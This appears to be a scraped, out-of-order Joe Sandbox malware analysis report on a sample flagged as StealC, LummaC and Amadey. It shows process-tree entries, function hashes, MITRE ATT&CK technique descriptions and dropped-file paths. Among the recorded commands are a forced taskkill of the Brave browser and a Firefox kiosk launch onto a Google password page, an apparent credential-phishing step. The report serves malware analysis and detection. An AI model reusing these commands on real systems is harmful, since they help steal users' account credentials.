Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	00:02:54
Start date:	01/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	00:02:55
Start date:	01/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM brave.exe /T
Imagebase:	0xcc0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	00:02:55
Start date:	01/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	43
Start time:	00:02:55
Start date:	01/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff79f9e0000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	44
Start time:	00:02:55
Start date:	01/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff79f9e0000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	45
Start time:	00:02:57
Start date:	01/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2140 -parentBuildID 20230927232528 -prefsHandle 2076 -prefMapHandle 2068 -prefsLen 25350 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {41e6ee11-7385-4f6c-8723-fbdfc1e2a684} 7648 "\\.\pipe\gecko-crash-server-pipe.7648" 18eb2f6eb10 socket
Imagebase:	0x7ff79f9e0000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	46
Start time:	00:03:01
Start date:	01/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4532 -parentBuildID 20230927232528 -sandboxingKind 0 -prefsHandle 4492 -prefMapHandle 4580 -prefsLen 32851 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {70b5ba1d-88f3-4038-92db-42baf84e225b} 7648 "\\.\pipe\gecko-crash-server-pipe.7648" 18ec52bd710 utility
Imagebase:	0x7ff79f9e0000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	47
Start time:	00:03:02
Start date:	01/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe"
Imagebase:	0xa90000
File size:	2'874'880 bytes
MD5 hash:	DA2EA6B51A3216E065B2CED231C9E57F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	48
Start time:	00:03:03
Start date:	01/11/2024
Path:	C:\Users\user\AppData\Local\Temp\8Z32J2RQ40P4PPMYF6S72.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\8Z32J2RQ40P4PPMYF6S72.exe"
Imagebase:	0xd20000
File size:	2'778'624 bytes
MD5 hash:	481C8B24C57DA4A1A61F3BA321F84C5C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 37%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	49
Start time:	00:03:06
Start date:	01/11/2024
Path:	C:\Users\user\AppData\Local\Temp\AVOZ1UBOYVJSZDS0TDG9BM0HUDU.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\AVOZ1UBOYVJSZDS0TDG9BM0HUDU.exe"
Imagebase:	0xbc0000
File size:	1'911'296 bytes
MD5 hash:	19EC3B43009D50CF26E7BF585E169042
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Has exited:	false

Show Windows behavior

Function 055A0B7A Relevance: .1, Instructions: 85COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2320421673.00000000055A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 055A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_55a0000_GXK4CGNQC97BZAH5XF5VF7CI8.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dcefc2ae0810c55a7389b3715f7883e0ea04a66ff172ca39f1d58e7295ae693c
Instruction ID: 2c335d7e27e087eba741e9ccf878b6ee4768e578a51c3d2413728db8085e6bcb
Opcode Fuzzy Hash: dcefc2ae0810c55a7389b3715f7883e0ea04a66ff172ca39f1d58e7295ae693c
Instruction Fuzzy Hash: 6301D6FB2582107EB102D5867B189FAABAEE5D7B30330887BF402C2646E2D54E4D6131

Function 055A0B5C Relevance: .1, Instructions: 98COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2320421673.00000000055A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 055A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_55a0000_GXK4CGNQC97BZAH5XF5VF7CI8.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 479b99b823253d7e19c01d3e72cb38dffb7cd85e49d4d1a8de499c9feb1a65e5
Instruction ID: 5e04412fd5253a81e2876db1b7f13dd26336686cd17ea87fb49b9a7bfc767be2
Opcode Fuzzy Hash: 479b99b823253d7e19c01d3e72cb38dffb7cd85e49d4d1a8de499c9feb1a65e5
Instruction Fuzzy Hash: 4E1170F72582107DB102D5917B18EFAABAEE6C77303308877F442C7552E2D54E496231

Function 055A0BB9 Relevance: .1, Instructions: 90COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2320421673.00000000055A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 055A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_55a0000_GXK4CGNQC97BZAH5XF5VF7CI8.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bf4b81ddb128e04d2b9bda67f0a98832c603855ecf4d757026618892c6f2fafa
Instruction ID: c5971ba770c3c11161f13b6c408d976cbced3faeb44bf3564eb38b31e6689f73
Opcode Fuzzy Hash: bf4b81ddb128e04d2b9bda67f0a98832c603855ecf4d757026618892c6f2fafa
Instruction Fuzzy Hash: 930108FB2582107DB102D5957B189FAABAEF5C7B30330887BF442C6556E2D54E4A6131

Function 055A0B6A Relevance: .1, Instructions: 88COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2320421673.00000000055A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 055A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_55a0000_GXK4CGNQC97BZAH5XF5VF7CI8.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cec5696d1735dc31e702c585617230f586a839fd0f0b1b37f97dfe3a1e80ef07
Instruction ID: e25b9b6719f074be3ea1ce27b511603fea06e4d52e8e1e32d3ac577b0d99b6d2
Opcode Fuzzy Hash: cec5696d1735dc31e702c585617230f586a839fd0f0b1b37f97dfe3a1e80ef07
Instruction Fuzzy Hash: 05010CFB2582107DB142D5917B18AFAABAEE5C7B34330887BF442C6646E2D54E4E6231

Function 055A0BA3 Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2320421673.00000000055A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 055A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_55a0000_GXK4CGNQC97BZAH5XF5VF7CI8.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e75e13e3f808e74d71158ef2e99d335962c2653f4d31a45bf5a7246c9b1d9b9d
Instruction ID: 79f211e696a522aee18602d47cf4066f029c8ed1a31b52bf3874cab92eb89b70
Opcode Fuzzy Hash: e75e13e3f808e74d71158ef2e99d335962c2653f4d31a45bf5a7246c9b1d9b9d
Instruction Fuzzy Hash: 24F03AEB2682107DB00294923B289FBABAEE5D6B30330C86BF442C2546E2D50E4A6131

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: LummaC

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\8Z32J2RQ40P4PPMYF6S72.exe.log

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\IM4G4OFDR8U7L3FGHM3.exe.log

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\num[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[1].exe

C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe

Windows Analysis Report
file.exe

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre